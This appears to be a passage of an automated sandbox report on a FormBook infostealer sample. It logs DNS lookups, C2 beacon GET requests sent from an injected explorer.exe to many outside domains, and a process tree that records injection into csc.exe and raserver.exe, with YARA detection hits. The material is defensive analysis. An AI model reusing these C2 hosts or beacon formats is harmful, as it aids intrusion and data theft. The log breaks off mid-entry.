Oct 8, 2024 16:03:32.221383095 CEST	1.1.1.1	192.168.11.20	0x8cdc	No error (0)	www.tigajco69.fun		104.21.27.253	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:54.085376024 CEST	1.1.1.1	192.168.11.20	0xce3e	No error (0)	www.zruypj169g.top	www.baidu.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:03:54.085376024 CEST	1.1.1.1	192.168.11.20	0xce3e	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:03:54.085376024 CEST	1.1.1.1	192.168.11.20	0xce3e	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:03:54.085376024 CEST	1.1.1.1	192.168.11.20	0xce3e	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:54.085376024 CEST	1.1.1.1	192.168.11.20	0xce3e	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:56.709516048 CEST	9.9.9.9	192.168.11.20	0xce3e	No error (0)	www.zruypj169g.top	www.baidu.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:03:56.709516048 CEST	9.9.9.9	192.168.11.20	0xce3e	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:03:56.709516048 CEST	9.9.9.9	192.168.11.20	0xce3e	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:03:56.709516048 CEST	9.9.9.9	192.168.11.20	0xce3e	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:03:56.709516048 CEST	9.9.9.9	192.168.11.20	0xce3e	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:04:13.310894966 CEST	1.1.1.1	192.168.11.20	0xcb43	No error (0)	www.pittsparking.com		104.247.81.174	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:04:54.440768957 CEST	1.1.1.1	192.168.11.20	0x66e0	No error (0)	www.woby.xyz		13.248.252.114	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:04:54.440768957 CEST	1.1.1.1	192.168.11.20	0x66e0	No error (0)	www.woby.xyz		99.83.138.213	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:05:14.925124884 CEST	1.1.1.1	192.168.11.20	0xc783	Name error (3)	www.j3k7n.xyz	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:05:35.644350052 CEST	1.1.1.1	192.168.11.20	0x554a	No error (0)	www.upcyclecharms.com	ext-sq.squarespace.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:05:35.644350052 CEST	1.1.1.1	192.168.11.20	0x554a	No error (0)	ext-sq.squarespace.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:05:35.644350052 CEST	1.1.1.1	192.168.11.20	0x554a	No error (0)	ext-sq.squarespace.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:05:35.644350052 CEST	1.1.1.1	192.168.11.20	0x554a	No error (0)	ext-sq.squarespace.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:05:35.644350052 CEST	1.1.1.1	192.168.11.20	0x554a	No error (0)	ext-sq.squarespace.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:05:56.084242105 CEST	1.1.1.1	192.168.11.20	0x7936	Name error (3)	www.piedge-taiko.net	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:06:37.257268906 CEST	1.1.1.1	192.168.11.20	0x24d5	No error (0)	www.qqkartel88v1.com		172.67.130.46	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:06:37.257268906 CEST	1.1.1.1	192.168.11.20	0x24d5	No error (0)	www.qqkartel88v1.com		104.21.3.39	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:06:57.865155935 CEST	1.1.1.1	192.168.11.20	0xc058	No error (0)	www.webuyandsellpa.com	webuyandsellpa.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:06:57.865155935 CEST	1.1.1.1	192.168.11.20	0xc058	No error (0)	webuyandsellpa.com		63.141.128.16	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:07:18.237570047 CEST	1.1.1.1	192.168.11.20	0x29cf	No error (0)	www.coinbureau.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:07:18.237570047 CEST	1.1.1.1	192.168.11.20	0x29cf	No error (0)	www.coinbureau.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:07:40.692815065 CEST	1.1.1.1	192.168.11.20	0xdab	No error (0)	www.localhomeservicesadvisor.com	localhomeservicesadvisor.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:07:40.692815065 CEST	1.1.1.1	192.168.11.20	0xdab	No error (0)	localhomeservicesadvisor.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:07:40.692815065 CEST	1.1.1.1	192.168.11.20	0xdab	No error (0)	localhomeservicesadvisor.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:07:59.339804888 CEST	1.1.1.1	192.168.11.20	0x6a2f	Name error (3)	www.saeutah.com	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:08:40.378460884 CEST	1.1.1.1	192.168.11.20	0xc488	Name error (3)	www.chiri.lat	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:09:00.956960917 CEST	1.1.1.1	192.168.11.20	0x37f	No error (0)	www.equipoleiremnacional.com	equipoleiremnacional.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:09:00.956960917 CEST	1.1.1.1	192.168.11.20	0x37f	No error (0)	equipoleiremnacional.com		192.250.227.27	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:09:21.607800961 CEST	1.1.1.1	192.168.11.20	0x8571	No error (0)	www.rakring.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:09:21.607800961 CEST	1.1.1.1	192.168.11.20	0x8571	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:09:41.962882042 CEST	1.1.1.1	192.168.11.20	0x6056	Name error (3)	www.rslotrank.win	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.andrewghita.com

www.attorney-services-8344642.zone

www.yeslabs.xyz

www.vizamag.com

www.tigajco69.fun

www.upcyclecharms.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49736	172.66.0.70	80	4828	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:02:10.271385908 CEST	166	OUT	GET /md02/?all=h80NDNStJT1K2TvWS0Hn00m/568InfN4qw4a/Ot4iW3ni2fqEGOFCNj8nYFszZLP0eyh&P6=6lUxOJCX68zXY HTTP/1.1 Host: www.andrewghita.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 8, 2024 16:02:10.387456894 CEST	557	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 08 Oct 2024 14:02:10 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Tue, 08 Oct 2024 15:02:10 GMT Location: https://www.andrewghita.com/md02/?all=h80NDNStJT1K2TvWS0Hn00m/568InfN4qw4a/Ot4iW3ni2fqEGOFCNj8nYFszZLP0eyh&P6=6lUxOJCX68zXY Server: cloudflare CF-RAY: 8cf6aac688d97cac-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49738	104.18.188.223	80	4828	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:02:32.159362078 CEST	181	OUT	GET /md02/?all=VJE6G0uhaXXjZ9YRdQlMdfAmJtBHOO9P9ftsD0Za8iws3BCdMQRNDr5e7yfdzu876eSq&P6=6lUxOJCX68zXY HTTP/1.1 Host: www.attorney-services-8344642.zone Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 8, 2024 16:02:32.268712044 CEST	406	IN	HTTP/1.1 409 Conflict Date: Tue, 08 Oct 2024 14:02:32 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 16 Connection: close X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8cf6ab4f4afa7d16-EWR Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 31 30 30 31 Data Ascii: error code: 1001

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49739	52.206.163.162	80	4828	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:02:51.423815966 CEST	162	OUT	GET /md02/?all=PFllZ1wBFT+zd6wAz/9Wh67A0WfaovzBimzeDVQv10BU1t/rlxqvwJuzFJn/ILzX+D6Y&P6=6lUxOJCX68zXY HTTP/1.1 Host: www.yeslabs.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 8, 2024 16:02:51.523401022 CEST	432	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 08 Oct 2024 14:02:51 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.yeslabs.xyz/md02?all=PFllZ1wBFT+zd6wAz/9Wh67A0WfaovzBimzeDVQv10BU1t/rlxqvwJuzFJn/ILzX+D6Y&P6=6lUxOJCX68zXY Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49740	198.185.159.144	80	4828	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:03:11.864633083 CEST	162	OUT	GET /md02/?all=ItgQDVkBdIs0QziWKwlLzzQfsI1xbGOZBoDnu4i2Zg+9o67qJyVsSqA76p+pq/A3lGOx&P6=6lUxOJCX68zXY HTTP/1.1 Host: www.vizamag.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 8, 2024 16:03:11.962738991 CEST	1276	IN	HTTP/1.1 400 Bad Request Cache-Control: no-cache, must-revalidate Content-Length: 2061 Content-Type: text/html; charset=UTF-8 Date: Tue, 08 Oct 2024 14:03:11 UTC Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Server: Squarespace X-Contextid: axS4pUth/BsnNyiGA Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d [TRUNCATED] Data Ascii: <!DOCTYPE html><head> <title>400 Bad Request</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> body { background: white; } main { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); text-align: center; min-width: 95vw; } main h1 { font-weight: 400; font-size: 4.6em; color: #191919; margin: 0 0 11px 0; } main p { font-size: 1.4em; color: #3a3a3a; font-weight: 400; line-height: 2em; margin: 0; } main p a { color: #3a3a3a; text-decoration: none; border-bottom: solid 1px #3a3a3a; } body { font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 12px; } #status-page { display: none; } footer { position: absolute; bottom: 22px; left: 0; width: 100%; text-align: center; line-height: 2em; } footer span { margin: 0 11px;
Oct 8, 2024 16:03:11.962840080 CEST	1084	IN	Data Raw: 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 Data Ascii: font-size: 1em; font-weight: 400; color: #a9a9a9; white-space: nowrap; } footer span strong { font-weight: 400; color: #191919; } @media (max-width: 600px) { body { font-family: "Helvetica Neue", Helv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49741	172.67.143.211	80	4828	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:03:32.317439079 CEST	164	OUT	GET /md02/?all=PZp0UtAd/MX+bbfmlI0lLX5uB5dB2ubu0xorlIAgjhA6JQ6omJZi4VnySSsC/hEyaNVU&P6=6lUxOJCX68zXY HTTP/1.1 Host: www.tigajco69.fun Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 8, 2024 16:03:32.428450108 CEST	962	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 08 Oct 2024 14:03:32 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Tue, 08 Oct 2024 15:03:32 GMT Location: https://www.tigajco69.fun/md02/?all=PZp0UtAd/MX+bbfmlI0lLX5uB5dB2ubu0xorlIAgjhA6JQ6omJZi4VnySSsC/hEyaNVU&P6=6lUxOJCX68zXY Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zgK9xD7AsErj9CAXTR3WJ1h6FojjVLmMZ38kO1Tcy0kXyyMv9oYg%2Fege4gX4a4b1Nsd%2BXbSd%2BoikdN9Mba5zdf3NXgvAZ4o3zOQr8dcZJYF8vN348AxetIiFLmV4Z0LJR57zcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cf6acc74db080d9-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.11.20	49745	198.185.159.144	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:05:35.745574951 CEST	168	OUT	GET /md02/?all=Huvb14uAl+TqSP+sM2oBgNUO4U2JwQZ3Rl/9gDSI5Y6jcOUTIOoj4XqjJyA8WIhVJbwk&P6=6lUxOJCX68zXY HTTP/1.1 Host: www.upcyclecharms.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 8, 2024 16:05:35.847243071 CEST	1276	IN	HTTP/1.1 400 Bad Request Cache-Control: no-cache, must-revalidate Content-Length: 2061 Content-Type: text/html; charset=UTF-8 Date: Tue, 08 Oct 2024 14:05:35 UTC Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Server: Squarespace X-Contextid: SXdSXF3L/N18FwJo2 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d [TRUNCATED] Data Ascii: <!DOCTYPE html><head> <title>400 Bad Request</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> body { background: white; } main { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); text-align: center; min-width: 95vw; } main h1 { font-weight: 400; font-size: 4.6em; color: #191919; margin: 0 0 11px 0; } main p { font-size: 1.4em; color: #3a3a3a; font-weight: 400; line-height: 2em; margin: 0; } main p a { color: #3a3a3a; text-decoration: none; border-bottom: solid 1px #3a3a3a; } body { font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 12px; } #status-page { display: none; } footer { position: absolute; bottom: 22px; left: 0; width: 100%; text-align: center; line-height: 2em; } footer span { margin: 0 11px;
Oct 8, 2024 16:05:35.847323895 CEST	1084	IN	Data Raw: 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 Data Ascii: font-size: 1em; font-weight: 400; color: #a9a9a9; white-space: nowrap; } footer span strong { font-weight: 400; color: #191919; } @media (max-width: 600px) { body { font-family: "Helvetica Neue", Helv

Target ID:	0
Start time:	10:01:30
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\kHslwiV2w6.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\kHslwiV2w6.exe"
Imagebase:	0x7ff72f5a0000
File size:	1'627'744 bytes
MD5 hash:	3364DC2488F8444000A9DA4C6D999FC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	10:01:30
Start date:	08/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7b2f40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	10:01:30
Start date:	08/10/2024
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files (x86)\Internet Explorer\iexplore.exe"
Imagebase:
File size:	839'632 bytes
MD5 hash:	BBF55D48A97497F61781C226E1CEDE6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	3
Start time:	10:01:31
Start date:	08/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Imagebase:	0x1000000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Target ID:	4
Start time:	10:01:31
Start date:	08/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff763ff0000
File size:	4'849'904 bytes
MD5 hash:	5EA66FF5AE5612F921BC9DA23BAC95F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	10:01:35
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\raserver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\raserver.exe"
Imagebase:	0xd10000
File size:	107'520 bytes
MD5 hash:	D1053D114847677185F248FF98C3F255
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 